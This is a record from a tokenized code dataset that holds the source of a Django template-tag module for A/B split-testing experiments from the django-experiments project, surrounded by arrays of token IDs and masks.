[ 3, 334, 67, 9, 9708, 9572, 13002, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 3, 4155, 2803, 1655, 2366, 19, 13, 2453, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 504, 6204, 14, 5819, 14, 1805, 492, 3371, 199, 504, 3242, 14, 3112, 14, 1200, 14, 31959, 492, 1335, 21003, 63, 18242, 199, 504, 6204, 14, 3112, 14, 1208, 492, 663, 63, 578, 63, 589, 199, 504, 1275, 31959, 63, 578, 492, 1379, 42, 21003, 2377, 421, 199, 533, 1379, 42, 21003, 3110, 2377, 8, 774, 42, 21003, 2377, 304, 339, 859, 275, 1335, 21003, 63, 18242, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 42, 21003, 3110, 2377, 12, 291, 680, 5996, 342, 398, 291, 14, 1805, 63, 831, 63, 4758, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 31959, 14, 31959, 14, 831, 63, 4758, 358, 267, 291, 14, 831, 63, 4758, 275, 291, 14, 1805, 63, 831, 63, 4758, 14, 928, 342, 398, 291, 14, 1805, 63, 17966, 63, 4758, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 31959, 14, 31959, 14, 17966, 63, 4758, 358, 267, 291, 14, 17966, 63, 4758, 275, 291, 14, 1805, 63, 17966, 63, 4758, 14, 928, 342, 398, 291, 14, 1805, 63, 1631, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 2105, 14, 3225, 358, 267, 291, 14, 1631, 275, 291, 14, 1805, 63, 1631, 14, 928, 342, 398, 291, 14, 1805, 63, 18242, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 31959, 14, 31959, 14, 2480, 2190, 3225, 358, 267, 291, 14, 18242, 63, 1631, 275, 291, 14, 1805, 63, 18242, 14, 928, 342, 398, 291, 14, 1805, 63, 18242, 63, 4354, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 2330, 14, 18242, 14, 2480, 2190, 3225, 358, 267, 291, 14, 18242, 63, 4354, 275, 291, 14, 1805, 63, 18242, 63, 4354, 14, 928, 342, 398, 291, 14, 1805, 63, 362, 63, 10732, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 31959, 14, 31959, 14, 362, 63, 10732, 358, 267, 291, 14, 362, 63, 10732, 275, 291, 14, 1805, 63, 362, 63, 10732, 14, 928, 342, 267, 291, 14, 362, 63, 10732, 14, 1107, 63, 585, 275, 791, 1200, 63, 1246, 356, 283, 18242, 936, 339, 347, 6766, 8, 277, 304, 267, 1613, 8, 774, 42, 21003, 3110, 2377, 12, 291, 680, 12336, 342, 267, 291, 14, 1805, 63, 831, 63, 4758, 14, 2379, 342, 267, 291, 14, 1805, 63, 17966, 63, 4758, 14, 2379, 342, 267, 291, 14, 1805, 63, 1631, 14, 2379, 342, 267, 291, 14, 1805, 63, 18242, 14, 2379, 342, 267, 291, 14, 1805, 63, 18242, 63, 4354, 14, 2379, 342, 267, 291, 14, 1805, 63, 362, 63, 10732, 14, 2379, 342, 339, 347, 511, 63, 31959, 63, 18242, 63, 4296, 8, 277, 304, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 2125, 267, 663, 63, 578, 63, 589, 8, 807, 8, 929, 534, 1881, 1333, 267, 754, 275, 291, 14, 2526, 63, 578, 8, 2489, 29, 549, 9, 267, 291, 14, 629, 8, 1099, 459, 4405, 995, 788, 409, 2656, 8500, 1851, 2190, 8635, 1844, 1695, 1216, 1105, 339, 347, 511, 63, 31959, 63, 18242, 63, 5993, 8, 277, 304, 267, 734, 275, 1449, 1598, 8635, 469, 355, 1844, 1695, 1216, 27, 355, 789, 288, 1449, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 734, 267, 663, 63, 578, 63, 589, 8, 807, 8, 929, 534, 5575, 1333, 267, 754, 275, 291, 14, 2526, 63, 578, 8, 2489, 29, 549, 9, 267, 291, 14, 629, 8, 1099, 459, 4405, 995, 788, 1807, 2656, 8500, 1851, 2190, 1105, 339, 347, 511, 63, 31959, 63, 18242, 63, 719, 63, 1461, 8, 277, 304, 267, 734, 275, 1449, 1598, 8635, 469, 355, 1844, 1695, 1216, 27, 355, 789, 288, 1449, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 734, 267, 663, 63, 578, 63, 589, 8, 807, 8, 929, 534, 1881, 297, 1851, 2190, 63, 719, 29, 1081, 430, 267, 754, 275, 291, 14, 2526, 63, 578, 8, 2489, 29, 549, 9, 267, 291, 14, 629, 8, 1099, 459, 4405, 995, 788, 409, 2656, 8500, 1851, 2190, 8635, 1844, 6928, 1105, 339, 347, 511, 63, 31959, 63, 18242, 63, 719, 63, 705, 8, 277, 304, 267, 734, 275, 1449, 1598, 8635, 469, 355, 1844, 6928, 27, 355, 789, 288, 1449, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 734, 267, 663, 63, 578, 63, 589, 8, 807, 8, 929, 534, 1881, 297, 1851, 2190, 63, 719, 29, 16, 430, 267, 754, 275, 291, 14, 2526, 63, 578, 8, 2489, 29, 549, 12, 3405, 29, 549, 9, 267, 291, 14, 629, 8, 1099, 459, 1328, 995, 283, 18242, 63, 719, 1471, 506, 3382, 413, 436, 18247, 358, 339, 347, 511, 63, 31959, 63, 18242, 63, 888, 63, 705, 8, 277, 304, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 488, 267, 663, 63, 578, 63, 589, 8, 807 ]
[ 334, 67, 9, 9708, 9572, 13002, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 3, 4155, 2803, 1655, 2366, 19, 13, 2453, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 504, 6204, 14, 5819, 14, 1805, 492, 3371, 199, 504, 3242, 14, 3112, 14, 1200, 14, 31959, 492, 1335, 21003, 63, 18242, 199, 504, 6204, 14, 3112, 14, 1208, 492, 663, 63, 578, 63, 589, 199, 504, 1275, 31959, 63, 578, 492, 1379, 42, 21003, 2377, 421, 199, 533, 1379, 42, 21003, 3110, 2377, 8, 774, 42, 21003, 2377, 304, 339, 859, 275, 1335, 21003, 63, 18242, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 42, 21003, 3110, 2377, 12, 291, 680, 5996, 342, 398, 291, 14, 1805, 63, 831, 63, 4758, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 31959, 14, 31959, 14, 831, 63, 4758, 358, 267, 291, 14, 831, 63, 4758, 275, 291, 14, 1805, 63, 831, 63, 4758, 14, 928, 342, 398, 291, 14, 1805, 63, 17966, 63, 4758, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 31959, 14, 31959, 14, 17966, 63, 4758, 358, 267, 291, 14, 17966, 63, 4758, 275, 291, 14, 1805, 63, 17966, 63, 4758, 14, 928, 342, 398, 291, 14, 1805, 63, 1631, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 2105, 14, 3225, 358, 267, 291, 14, 1631, 275, 291, 14, 1805, 63, 1631, 14, 928, 342, 398, 291, 14, 1805, 63, 18242, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 31959, 14, 31959, 14, 2480, 2190, 3225, 358, 267, 291, 14, 18242, 63, 1631, 275, 291, 14, 1805, 63, 18242, 14, 928, 342, 398, 291, 14, 1805, 63, 18242, 63, 4354, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 2330, 14, 18242, 14, 2480, 2190, 3225, 358, 267, 291, 14, 18242, 63, 4354, 275, 291, 14, 1805, 63, 18242, 63, 4354, 14, 928, 342, 398, 291, 14, 1805, 63, 362, 63, 10732, 275, 3371, 360, 4853, 14, 578, 63, 1208, 14, 1200, 14, 31959, 14, 31959, 14, 362, 63, 10732, 358, 267, 291, 14, 362, 63, 10732, 275, 291, 14, 1805, 63, 362, 63, 10732, 14, 928, 342, 267, 291, 14, 362, 63, 10732, 14, 1107, 63, 585, 275, 791, 1200, 63, 1246, 356, 283, 18242, 936, 339, 347, 6766, 8, 277, 304, 267, 1613, 8, 774, 42, 21003, 3110, 2377, 12, 291, 680, 12336, 342, 267, 291, 14, 1805, 63, 831, 63, 4758, 14, 2379, 342, 267, 291, 14, 1805, 63, 17966, 63, 4758, 14, 2379, 342, 267, 291, 14, 1805, 63, 1631, 14, 2379, 342, 267, 291, 14, 1805, 63, 18242, 14, 2379, 342, 267, 291, 14, 1805, 63, 18242, 63, 4354, 14, 2379, 342, 267, 291, 14, 1805, 63, 362, 63, 10732, 14, 2379, 342, 339, 347, 511, 63, 31959, 63, 18242, 63, 4296, 8, 277, 304, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 2125, 267, 663, 63, 578, 63, 589, 8, 807, 8, 929, 534, 1881, 1333, 267, 754, 275, 291, 14, 2526, 63, 578, 8, 2489, 29, 549, 9, 267, 291, 14, 629, 8, 1099, 459, 4405, 995, 788, 409, 2656, 8500, 1851, 2190, 8635, 1844, 1695, 1216, 1105, 339, 347, 511, 63, 31959, 63, 18242, 63, 5993, 8, 277, 304, 267, 734, 275, 1449, 1598, 8635, 469, 355, 1844, 1695, 1216, 27, 355, 789, 288, 1449, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 734, 267, 663, 63, 578, 63, 589, 8, 807, 8, 929, 534, 5575, 1333, 267, 754, 275, 291, 14, 2526, 63, 578, 8, 2489, 29, 549, 9, 267, 291, 14, 629, 8, 1099, 459, 4405, 995, 788, 1807, 2656, 8500, 1851, 2190, 1105, 339, 347, 511, 63, 31959, 63, 18242, 63, 719, 63, 1461, 8, 277, 304, 267, 734, 275, 1449, 1598, 8635, 469, 355, 1844, 1695, 1216, 27, 355, 789, 288, 1449, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 734, 267, 663, 63, 578, 63, 589, 8, 807, 8, 929, 534, 1881, 297, 1851, 2190, 63, 719, 29, 1081, 430, 267, 754, 275, 291, 14, 2526, 63, 578, 8, 2489, 29, 549, 9, 267, 291, 14, 629, 8, 1099, 459, 4405, 995, 788, 409, 2656, 8500, 1851, 2190, 8635, 1844, 6928, 1105, 339, 347, 511, 63, 31959, 63, 18242, 63, 719, 63, 705, 8, 277, 304, 267, 734, 275, 1449, 1598, 8635, 469, 355, 1844, 6928, 27, 355, 789, 288, 1449, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 734, 267, 663, 63, 578, 63, 589, 8, 807, 8, 929, 534, 1881, 297, 1851, 2190, 63, 719, 29, 16, 430, 267, 754, 275, 291, 14, 2526, 63, 578, 8, 2489, 29, 549, 12, 3405, 29, 549, 9, 267, 291, 14, 629, 8, 1099, 459, 1328, 995, 283, 18242, 63, 719, 1471, 506, 3382, 413, 436, 18247, 358, 339, 347, 511, 63, 31959, 63, 18242, 63, 888, 63, 705, 8, 277, 304, 267, 291, 14, 18242, 63, 1631, 1252, 362, 14, 1107, 63, 585, 275, 488, 267, 663, 63, 578, 63, 589, 8, 807, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
robertobarreda/django-experiments
experiments/templatetags/experiments.py
1
3713
from __future__ import absolute_import from django import template from django.core.urlresolvers import reverse from experiments.utils import participant from experiments.manager import experiment_manager from experiments import conf from uuid import uuid4 register = template.Library() @register.inclusion_tag('experiments/goal.html') def experiment_goal(goal_name): return {'url': reverse('experiment_goal', kwargs={'goal_name': goal_name, 'cache_buster': uuid4()})} @register.inclusion_tag('experiments/confirm_human.html', takes_context=True) def experiments_confirm_human(context): request = context.get('request') return {'confirmed_human': request.session.get(conf.CONFIRM_HUMAN_SESSION_KEY, False)} class ExperimentNode(template.Node): def __init__(self, node_list, experiment_name, alternative, weight, user_variable): self.node_list = node_list self.experiment_name = experiment_name self.alternative = alternative self.weight = weight self.user_variable = user_variable def render(self, context): experiment = experiment_manager.get_experiment(self.experiment_name) if experiment: experiment.ensure_alternative_exists(self.alternative, self.weight) # Get User object if self.user_variable: auth_user = self.user_variable.resolve(context) user = participant(user=auth_user) else: request = context.get('request', None) user = participant(request) # Should we render? if user.is_enrolled(self.experiment_name, self.alternative): response = self.node_list.render(context) else: response = "" return response def _parse_token_contents(token_contents): (_, experiment_name, alternative), remaining_tokens = token_contents[:3], token_contents[3:] weight = None user_variable = None for offset, token in enumerate(remaining_tokens): if '=' in token: name, expression = token.split('=', 1) if name == 'weight': weight = expression elif name == 'user': user_variable = template.Variable(expression) else: raise ValueError() elif offset == 0: # Backwards compatibility, weight as positional argument weight = token else: raise ValueError() return experiment_name, alternative, weight, user_variable @register.tag('experiment') def experiment(parser, token): """ Split Testing experiment tag has the following syntax : {% experiment <experiment_name> <alternative> %} experiment content goes here {% endexperiment %} If the alternative name is neither 'test' nor 'control' an exception is raised during rendering. """ try: token_contents = token.split_contents() experiment_name, alternative, weight, user_variable = _parse_token_contents(token_contents) node_list = parser.parse(('endexperiment', )) parser.delete_first_token() except ValueError: raise template.TemplateSyntaxError("Syntax should be like :" "{% experiment experiment_name alternative [weight=val] [user=val] %}") return ExperimentNode(node_list, experiment_name, alternative, weight, user_variable) @register.assignment_tag(takes_context=True) def experiment_enroll(context, experiment_name, *alternatives, **kwargs): if 'user' in kwargs: user = participant(user=kwargs['user']) else: user = participant(request=context.get('request', None)) return user.enroll(experiment_name, list(alternatives))
mit
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 504, 1639, 492, 1978, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 199, 504, 444, 22263, 14, 1208, 492, 623, 16448, 199, 504, 444, 22263, 14, 2609, 492, 11805, 63, 2609, 199, 504, 444, 22263, 492, 3743, 199, 199, 504, 5377, 492, 5377, 20, 199, 199, 2683, 275, 1978, 14, 7424, 342, 421, 199, 32, 2683, 14, 24265, 63, 1450, 360, 476, 22263, 15, 16117, 14, 1360, 358, 199, 318, 11805, 63, 16117, 8, 16117, 63, 354, 304, 272, 372, 791, 633, 356, 3837, 360, 10873, 63, 16117, 297, 2074, 3713, 16117, 63, 354, 356, 14850, 63, 354, 12, 283, 1637, 63, 5610, 351, 356, 5377, 20, 22804, 93, 421, 199, 32, 2683, 14, 24265, 63, 1450, 360, 476, 22263, 15, 9548, 63, 14864, 14, 1360, 297, 6181, 63, 1100, 29, 549, 9, 199, 318, 444, 22263, 63, 9548, 63, 14864, 8, 1100, 304, 272, 1056, 275, 1067, 14, 362, 360, 1069, 358, 272, 372, 791, 16391, 63, 14864, 356, 1056, 14, 1730, 14, 362, 8, 2190, 14, 1864, 28830, 63, 40, 2639, 879, 63, 12763, 63, 3078, 12, 756, 6769, 421, 199, 533, 23997, 1716, 8, 1160, 14, 1716, 304, 272, 347, 636, 826, 721, 277, 12, 1031, 63, 513, 12, 11805, 63, 354, 12, 13943, 12, 5401, 12, 922, 63, 1975, 304, 267, 291, 14, 932, 63, 513, 275, 1031, 63, 513, 267, 291, 14, 10873, 63, 354, 275, 11805, 63, 354, 267, 291, 14, 19389, 275, 13943, 267, 291, 14, 3463, 275, 5401, 267, 291, 14, 751, 63, 1975, 275, 922, 63, 1975, 339, 347, 3795, 8, 277, 12, 1067, 304, 267, 11805, 275, 11805, 63, 2609, 14, 362, 63, 10873, 8, 277, 14, 10873, 63, 354, 9, 267, 340, 11805, 26, 288, 11805, 14, 7505, 63, 19389, 63, 2444, 8, 277, 14, 19389, 12, 291, 14, 3463, 9, 398, 327, 2372, 2876, 909, 267, 340, 291, 14, 751, 63, 1975, 26, 288, 1790, 63, 751, 275, 291, 14, 751, 63, 1975, 14, 6983, 8, 1100, 9, 288, 922, 275, 623, 16448, 8, 751, 29, 1178, 63, 751, 9, 267, 587, 26, 288, 1056, 275, 1067, 14, 362, 360, 1069, 297, 488, 9, 288, 922, 275, 623, 16448, 8, 1069, 9, 398, 327, 7719, 781, 3795, 31, 267, 340, 922, 14, 374, 63, 22428, 8, 277, 14, 10873, 63, 354, 12, 291, 14, 19389, 304, 288, 1177, 275, 291, 14, 932, 63, 513, 14, 3352, 8, 1100, 9, 267, 587, 26, 288, 1177, 275, 3087, 398, 372, 1177, 421, 199, 318, 485, 1122, 63, 1418, 63, 4407, 8, 1418, 63, 4407, 304, 272, 27017, 11805, 63, 354, 12, 13943, 395, 7971, 63, 4504, 275, 1526, 63, 4407, 1491, 19, 467, 1526, 63, 4407, 59, 19, 2938, 272, 5401, 275, 488, 272, 922, 63, 1975, 275, 488, 339, 367, 3268, 12, 1526, 315, 3874, 8, 11266, 63, 4504, 304, 267, 340, 14051, 315, 1526, 26, 288, 536, 12, 3965, 275, 1526, 14, 1294, 25283, 413, 9, 288, 340, 536, 508, 283, 3463, 356, 355, 5401, 275, 3965, 288, 916, 536, 508, 283, 751, 356, 355, 922, 63, 1975, 275, 1978, 14, 2773, 8, 5599, 9, 288, 587, 26, 355, 746, 1722, 342, 267, 916, 3268, 508, 378, 26, 288, 327, 10257, 4751, 7163, 12, 5401, 465, 11333, 1423, 288, 5401, 275, 1526, 267, 587, 26, 288, 746, 1722, 342, 339, 372, 11805, 63, 354, 12, 13943, 12, 5401, 12, 922, 63, 1975, 421, 199, 32, 2683, 14, 1450, 360, 10873, 358, 199, 318, 11805, 8, 2087, 12, 1526, 304, 272, 408, 272, 11740, 11940, 11805, 1947, 965, 314, 2569, 6302, 520, 339, 7749, 11805, 665, 10873, 63, 354, 30, 665, 19389, 30, 221, 3674, 272, 11805, 1564, 13538, 2348, 272, 7749, 655, 731, 6306, 3674, 339, 982, 314, 13943, 536, 365, 15564, 283, 396, 7, 6590, 283, 2785, 7, 376, 1919, 365, 4915, 272, 5309, 14066, 14, 272, 408, 272, 862, 26, 267, 1526, 63, 4407, 275, 1526, 14, 1294, 63, 4407, 342, 267, 11805, 63, 354, 12, 13943, 12, 5401, 12, 922, 63, 1975, 275, 485, 1122, 63, 1418, 63, 4407, 8, 1418, 63, 4407, 9, 398, 1031, 63, 513, 275, 1798, 14, 1122, 4725, 287, 731, 6306, 297, 5082, 267, 1798, 14, 1807, 63, 2246, 63, 1418, 342, 272, 871, 1722, 26, 267, 746, 1978, 14, 20837, 480, 16626, 1077, 506, 2839, 26673, 355, 22704, 11805, 11805, 63, 354, 13943, 359, 3463, 29, 637, 61, 359, 751, 29, 637, 61, 3674, 531, 339, 372, 23997, 1716, 8, 932, 63, 513, 12, 11805, 63, 354, 12, 13943, 12, 5401, 12, 922, 63, 1975, 9, 421, 199, 32, 2683, 14, 10861, 63, 1450, 8, 31613, 63, 1100, 29, 549, 9, 199, 318, 11805, 63, 14695, 8, 1100, 12, 11805, 63, 354, 12, 627, 27584, 12, 1011, 958, 304, 272, 340, 283, 751, 7, 315, 2074, 26, 267, 922, 275, 623, 16448, 8, 751, 29, 958, 459, 751, 1105, 272, 587, 26, 267, 922, 275, 623, 16448, 8, 1069, 29, 1100, 14, 362, 360, 1069, 297, 488, 430, 272, 372, 922, 14, 14695, 8, 10873, 63, 354, 12, 769, 8, 27584, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 504, 1639, 492, 1978, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 199, 504, 444, 22263, 14, 1208, 492, 623, 16448, 199, 504, 444, 22263, 14, 2609, 492, 11805, 63, 2609, 199, 504, 444, 22263, 492, 3743, 199, 199, 504, 5377, 492, 5377, 20, 199, 199, 2683, 275, 1978, 14, 7424, 342, 421, 199, 32, 2683, 14, 24265, 63, 1450, 360, 476, 22263, 15, 16117, 14, 1360, 358, 199, 318, 11805, 63, 16117, 8, 16117, 63, 354, 304, 272, 372, 791, 633, 356, 3837, 360, 10873, 63, 16117, 297, 2074, 3713, 16117, 63, 354, 356, 14850, 63, 354, 12, 283, 1637, 63, 5610, 351, 356, 5377, 20, 22804, 93, 421, 199, 32, 2683, 14, 24265, 63, 1450, 360, 476, 22263, 15, 9548, 63, 14864, 14, 1360, 297, 6181, 63, 1100, 29, 549, 9, 199, 318, 444, 22263, 63, 9548, 63, 14864, 8, 1100, 304, 272, 1056, 275, 1067, 14, 362, 360, 1069, 358, 272, 372, 791, 16391, 63, 14864, 356, 1056, 14, 1730, 14, 362, 8, 2190, 14, 1864, 28830, 63, 40, 2639, 879, 63, 12763, 63, 3078, 12, 756, 6769, 421, 199, 533, 23997, 1716, 8, 1160, 14, 1716, 304, 272, 347, 636, 826, 721, 277, 12, 1031, 63, 513, 12, 11805, 63, 354, 12, 13943, 12, 5401, 12, 922, 63, 1975, 304, 267, 291, 14, 932, 63, 513, 275, 1031, 63, 513, 267, 291, 14, 10873, 63, 354, 275, 11805, 63, 354, 267, 291, 14, 19389, 275, 13943, 267, 291, 14, 3463, 275, 5401, 267, 291, 14, 751, 63, 1975, 275, 922, 63, 1975, 339, 347, 3795, 8, 277, 12, 1067, 304, 267, 11805, 275, 11805, 63, 2609, 14, 362, 63, 10873, 8, 277, 14, 10873, 63, 354, 9, 267, 340, 11805, 26, 288, 11805, 14, 7505, 63, 19389, 63, 2444, 8, 277, 14, 19389, 12, 291, 14, 3463, 9, 398, 327, 2372, 2876, 909, 267, 340, 291, 14, 751, 63, 1975, 26, 288, 1790, 63, 751, 275, 291, 14, 751, 63, 1975, 14, 6983, 8, 1100, 9, 288, 922, 275, 623, 16448, 8, 751, 29, 1178, 63, 751, 9, 267, 587, 26, 288, 1056, 275, 1067, 14, 362, 360, 1069, 297, 488, 9, 288, 922, 275, 623, 16448, 8, 1069, 9, 398, 327, 7719, 781, 3795, 31, 267, 340, 922, 14, 374, 63, 22428, 8, 277, 14, 10873, 63, 354, 12, 291, 14, 19389, 304, 288, 1177, 275, 291, 14, 932, 63, 513, 14, 3352, 8, 1100, 9, 267, 587, 26, 288, 1177, 275, 3087, 398, 372, 1177, 421, 199, 318, 485, 1122, 63, 1418, 63, 4407, 8, 1418, 63, 4407, 304, 272, 27017, 11805, 63, 354, 12, 13943, 395, 7971, 63, 4504, 275, 1526, 63, 4407, 1491, 19, 467, 1526, 63, 4407, 59, 19, 2938, 272, 5401, 275, 488, 272, 922, 63, 1975, 275, 488, 339, 367, 3268, 12, 1526, 315, 3874, 8, 11266, 63, 4504, 304, 267, 340, 14051, 315, 1526, 26, 288, 536, 12, 3965, 275, 1526, 14, 1294, 25283, 413, 9, 288, 340, 536, 508, 283, 3463, 356, 355, 5401, 275, 3965, 288, 916, 536, 508, 283, 751, 356, 355, 922, 63, 1975, 275, 1978, 14, 2773, 8, 5599, 9, 288, 587, 26, 355, 746, 1722, 342, 267, 916, 3268, 508, 378, 26, 288, 327, 10257, 4751, 7163, 12, 5401, 465, 11333, 1423, 288, 5401, 275, 1526, 267, 587, 26, 288, 746, 1722, 342, 339, 372, 11805, 63, 354, 12, 13943, 12, 5401, 12, 922, 63, 1975, 421, 199, 32, 2683, 14, 1450, 360, 10873, 358, 199, 318, 11805, 8, 2087, 12, 1526, 304, 272, 408, 272, 11740, 11940, 11805, 1947, 965, 314, 2569, 6302, 520, 339, 7749, 11805, 665, 10873, 63, 354, 30, 665, 19389, 30, 221, 3674, 272, 11805, 1564, 13538, 2348, 272, 7749, 655, 731, 6306, 3674, 339, 982, 314, 13943, 536, 365, 15564, 283, 396, 7, 6590, 283, 2785, 7, 376, 1919, 365, 4915, 272, 5309, 14066, 14, 272, 408, 272, 862, 26, 267, 1526, 63, 4407, 275, 1526, 14, 1294, 63, 4407, 342, 267, 11805, 63, 354, 12, 13943, 12, 5401, 12, 922, 63, 1975, 275, 485, 1122, 63, 1418, 63, 4407, 8, 1418, 63, 4407, 9, 398, 1031, 63, 513, 275, 1798, 14, 1122, 4725, 287, 731, 6306, 297, 5082, 267, 1798, 14, 1807, 63, 2246, 63, 1418, 342, 272, 871, 1722, 26, 267, 746, 1978, 14, 20837, 480, 16626, 1077, 506, 2839, 26673, 355, 22704, 11805, 11805, 63, 354, 13943, 359, 3463, 29, 637, 61, 359, 751, 29, 637, 61, 3674, 531, 339, 